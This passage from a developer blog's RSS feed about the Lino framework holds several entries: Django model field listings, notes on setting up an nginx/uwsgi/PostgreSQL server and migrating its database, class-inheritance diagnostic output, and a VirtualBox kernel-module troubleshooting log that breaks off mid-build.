&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;contractpartner (&amp;lt;ManyToOneRel: isip.contractpartner&amp;gt;)&lt;/span&gt;
&lt;span class="go"&gt;id (ID) BigAutoField&lt;/span&gt;
&lt;span class="go"&gt;type (Type de contrat) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;study_type (Type d&amp;#39;éducation) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;stages (stages) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;goals (buts) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;duties_asd (Obligations du service social) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;duties_dsbe (Obligations du service d&amp;#39;insertion) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;duties_pcsw (Obligations du CPAS) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;duties_person (Obligations du bénéficiaire) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;user_dsbe (Titulaire (SI)) ForeignKey&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="stage-d-immersion"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id5" role="doc-backlink"&gt;Stage d’immersion&lt;/a&gt;&lt;a class="headerlink" href="#stage-d-immersion" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;immersion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Stage d&amp;#39;immersion&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;immersion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;id (ID) BigAutoField&lt;/span&gt;
&lt;span class="go"&gt;contact_person (Représenté par) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;contact_role (En tant que) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;sector (Secteur d&amp;#39;activité) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;function (Fonction professionnelle) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;company (Organisation) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;type (Type de stage d&amp;#39;immersion) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;goal (Objectif) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;reference_person (persone de référence) CharField&lt;/span&gt;
&lt;span class="go"&gt;responsibilities (responsabilités) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;remark (Remarque) TextField&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="difference-entre-service-utilisateur-et-employeur"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id6" role="doc-backlink"&gt;Différence entre “Service utilisateur” et “Employeur”&lt;/a&gt;&lt;a class="headerlink" href="#difference-entre-service-utilisateur-et-employeur" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Les postes de travail ne devraient-ils pas être offerts par les &lt;em&gt;employeurs&lt;/em&gt;
plutot que par les &lt;em&gt;services utilisateurs&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;jobs.Job.provider&lt;/span&gt;&lt;/code&gt; is currently a pointer to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;JobProvider&lt;/span&gt;&lt;/code&gt; but
shouldn’t it point to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Employer&lt;/span&gt;&lt;/code&gt; instead?&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Job&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Poste de travail&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JobProvider&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Service utilisateur&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Employer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Employeur&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0208.html</guid><pubDate>Thu, 08 Feb 2024 00:00:00 +0000</pubDate></item><item><title>Tuesday, February 6, 2024</title><link>https://luc.lino-framework.org/blog/2024/0206.html</link><description>&lt;section id="tuesday-february-6-2024"&gt;
&lt;h1&gt;Tuesday, February 6, 2024&lt;a class="headerlink" href="#tuesday-february-6-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;How we configured the server for zeugnisse&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;sudo hostnamectl set-hostname pdg2&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create users lsaffre and hliivat.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add “umask 002” in /etc/bash.bashrc&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo apt install git python3-venv python3-pip libffi-dev&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cd /usr/local&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo mkdir synodal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cd synodal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo chown www-data .&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo chgrp www-data .&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo chmod g+ws .&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;git clone &lt;a class="reference external" href="https://gitlab.com/synodalsoft/zeugnisse.git"&gt;https://gitlab.com/synodalsoft/zeugnisse.git&lt;/a&gt; .&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;nano bash_aliases  #&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;nano ~/.bashrc  # and add a line “. /usr/local/synodal/bash_aliases”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ctrl-D and come back&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;go  # cd /usr/local/synodal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;python3 -m venv env&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;a&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pip install -r requirements.txt&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It was interesting to read &lt;a class="reference external" href="https://uwsgi.readthedocs.io/en/latest/tutorials/Django_and_nginx.html"&gt;this&lt;/a&gt; but
don’t follow it blindly. We install uwsgi using the &lt;em&gt;Debian&lt;/em&gt; package, not using
the &lt;em&gt;Python&lt;/em&gt; package.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;sudo apt install nginx uwsgi uwsgi-plugin-python3 postgresql&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hannes defined a domain name &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;zeugnisse.mylino.net&lt;/span&gt;&lt;/code&gt; pointing to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pdg2&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Create config files for nginx and uwsgi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;sudo nano /etc/nginx/sites-available/zeugnisse.conf&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo nano /etc/uwsgi/apps-available/zeugnisse.ini&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Enable them:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;sudo nano ln -s /etc/nginx/sites-available/zeugnisse.conf /etc/nginx/sites-enabled&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo nano ln -s /etc/uwsgi/apps-available/zeugnisse.ini /etc/uwsgi/apps-enabled&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;How to copy a file from&lt;/p&gt;
&lt;p&gt;$ scp pdg:/home/django/django-seite/django_seite/secret/* pdg2:/usr/local/synodal/django_seite/secret/&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;sudo -u postgres psql -c “CREATE DATABASE django;”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On old server as user django:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;cd&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pg_dump django &amp;gt; 20240210.psql&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On my machine:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;scp pdg:/home/django/20240210.psql pdg2:/usr/local/synodal/&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On new server:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;sudo -u postgres psql -c ‘CREATE USER “django”;’&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo -u postgres psql -c ‘GRANT ALL PRIVILEGES ON DATABASE django TO “django”;’&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo -u postgres psql django &amp;lt; 20240210.psql&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo mkdir /var/log/zeugnisse&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo chown www-data:www-data /var/log/zeugnisse&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo chmod g+ws /var/log/zeugnisse&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;nano django_seite/settings/settings_prod.py&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;‘filename’: ‘/var/log/zeugnisse/django.log’,&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;apt install libpango-1.0-0 libpangoft2-1.0-0&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;apt install python3-certbot-nginx&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo certbot –nginx -d zeugnisse.mylino.net&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Git:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;nano ~/.gitconfig&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cd /usr/local/synodal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;nano .gitignore&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;git rm -r static&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0206.html</guid><pubDate>Tue, 06 Feb 2024 00:00:00 +0000</pubDate></item><item><title>Tuesday, January 16, 2024</title><link>https://luc.lino-framework.org/blog/2024/0116.html</link><description>&lt;section id="tuesday-january-16-2024"&gt;
&lt;h1&gt;Tuesday, January 16, 2024&lt;a class="headerlink" href="#tuesday-january-16-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The following output (issued by &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.diag.Anayzer.show_db_overview()&lt;/span&gt;&lt;/code&gt;) helped me to understand
the MRO problem with ledger.Voucher and ledger.RegistrableVoucher:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;VatProductInvoice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TradingVoucher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Matching&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;InvoicingTargetVoucher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StorageTransferer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
&lt;span class="n"&gt;Duplicate&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;
&lt;span class="n"&gt;Inheritance&lt;/span&gt; &lt;span class="n"&gt;trees&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StorageTransferer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
      &lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatDocument&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatVoucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TradingVoucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
&lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;Duplicate&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;Voucher&lt;/span&gt;
&lt;span class="n"&gt;Inheritance&lt;/span&gt; &lt;span class="n"&gt;trees&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;Voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StorageTransferer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
      &lt;span class="n"&gt;Voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatDocument&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatVoucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TradingVoucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
&lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;Duplicate&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;UserAuthored&lt;/span&gt;
&lt;span class="n"&gt;Inheritance&lt;/span&gt; &lt;span class="n"&gt;trees&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;UserAuthored&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StorageTransferer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
      &lt;span class="n"&gt;UserAuthored&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LedgerRegistrable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatDocument&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatVoucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TradingVoucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0116.html</guid><pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate></item><item><title>Please reinstall virtualbox-dkms package</title><link>https://luc.lino-framework.org/blog/2024/0111.html</link><description>&lt;section id="please-reinstall-virtualbox-dkms-package"&gt;
&lt;h1&gt;Please reinstall virtualbox-dkms package&lt;a class="headerlink" href="#please-reinstall-virtualbox-dkms-package" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, January 11, 2024&lt;/p&gt;
&lt;p&gt;I use virtualbox to run a venerable legacy accounting software under Windows XP
from within my Ubuntu system. Works like a charm. But after the latest system
upgrade (or at least I cannot see any other reason) it was broken. When I try to
launch the VM, it says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Kernel driver not installed (rc=-1908) The VirtualBox Linux kernel driver is
either not loaded or not set up correctly. Please reinstall virtualbox-dkms
package and load the kernel module by executing ‘modprobe vboxdrv’ as root.&lt;/p&gt;
&lt;p&gt;If your system has EFI Secure Boot enabled you may also need to sign the kernel
modules (vboxdrv, vboxnetflt, vboxnetadp, vboxpci) before you can load them.
Please see your Linux system’s documentation for more information.&lt;/p&gt;
&lt;p&gt;where: suplibOsInit what: 3 VERR_VM_DRIVER_NOT_INSTALLED (-1908) - The support
driver is not installed. On linux, open returned ENOENT.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And later:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Failed to open a session for the virtual machine Windows XP. The virtual
machine ‘Windows XP’ has terminated unexpectedly during startup with exit code
1 (0x1).&lt;/p&gt;
&lt;p&gt;Result Code: NS_ERROR_FAILURE (0x80004005)&lt;/p&gt;
&lt;p&gt;Component: MachineWrap&lt;/p&gt;
&lt;p&gt;Interface: IMachine {85632c68-b5bb-4316-a900-5eb28d3413df}&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I have had this message years ago (on another computer) and remember that a
“reinstall virtualbox-dkms” helped. But this time it didn’t.  I tried to remove
and reinstall the virtualbox packages without success.&lt;/p&gt;
&lt;p&gt;Here are some things I tried.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt remove virtualbox-guest-additions-iso virtualbox-guest-utils virtualbox-qt virtualbox-source
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  kbuild module-assistant
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following packages will be REMOVED:
  virtualbox-guest-additions-iso virtualbox-guest-utils virtualbox-qt virtualbox-source
0 upgraded, 0 newly installed, 4 to remove and 3 not upgraded.
1 not fully installed or removed.
After this operation, 131 MB disk space will be freed.
Do you want to continue? [Y/n]
(Reading database ... 317868 files and directories currently installed.)
Removing virtualbox-guest-additions-iso (6.1.38-1~ubuntu1.22.04.1) ...
Removing virtualbox-guest-utils (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Removing virtualbox-qt (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
dpkg: virtualbox-source: dependency problems, but removing anyway as you requested:
 virtualbox depends on virtualbox-dkms (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-source (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-modules; however:
  Package virtualbox-dkms is not configured yet.
  Package virtualbox-source is to be removed.
  Package virtualbox-modules is not installed.
  Package virtualbox-dkms which provides virtualbox-modules is not configured yet.

Removing virtualbox-source (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Setting up virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Removing old virtualbox-6.1.38 DKMS files...
Deleting module virtualbox-6.1.38 completely from the DKMS tree.
Loading new virtualbox-6.1.38 DKMS files...
Building for 6.5.0-14-generic
Building initial module for 6.5.0-14-generic
ERROR: Cannot create report: [Errno 17] File exists: &amp;#39;/var/crash/virtualbox-dkms.0.crash&amp;#39;
Error! Bad return status for module build on kernel: 6.5.0-14-generic (x86_64)
Consult /var/lib/dkms/virtualbox/6.1.38/build/make.log for more information.
dpkg: error processing package virtualbox-dkms (--configure):
 installed virtualbox-dkms package post-installation script subprocess returned error exit status 10
Processing triggers for desktop-file-utils (0.26-1ubuntu3) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
Processing triggers for gnome-menus (3.36.0-1ubuntu3) ...
Processing triggers for man-db (2.10.2-1) ...
Processing triggers for shared-mime-info (2.1-2) ...
Processing triggers for mailcap (3.70+nmu1ubuntu1) ...
Errors were encountered while processing:
 virtualbox-dkms
E: Sub-process /usr/bin/dpkg returned an error code (1)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo cat /var/lib/dkms/virtualbox/6.1.38/build/make.log
DKMS make.log for virtualbox-6.1.38 for kernel 6.5.0-14-generic (x86_64)
N 11 jaan  2024 07:49:57 EET
make: Entering directory &amp;#39;/usr/src/linux-headers-6.5.0-14-generic&amp;#39;
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
  You are using:           gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/linux/SUPDrv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPDrv.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPDrvGip.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPDrvSem.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPDrvTracer.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPLibAll.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/alloc-r0drv.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/initterm-r0drv.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/memobj-r0drv.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/mpnotification-r0drv.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/powernotification-r0drv.o
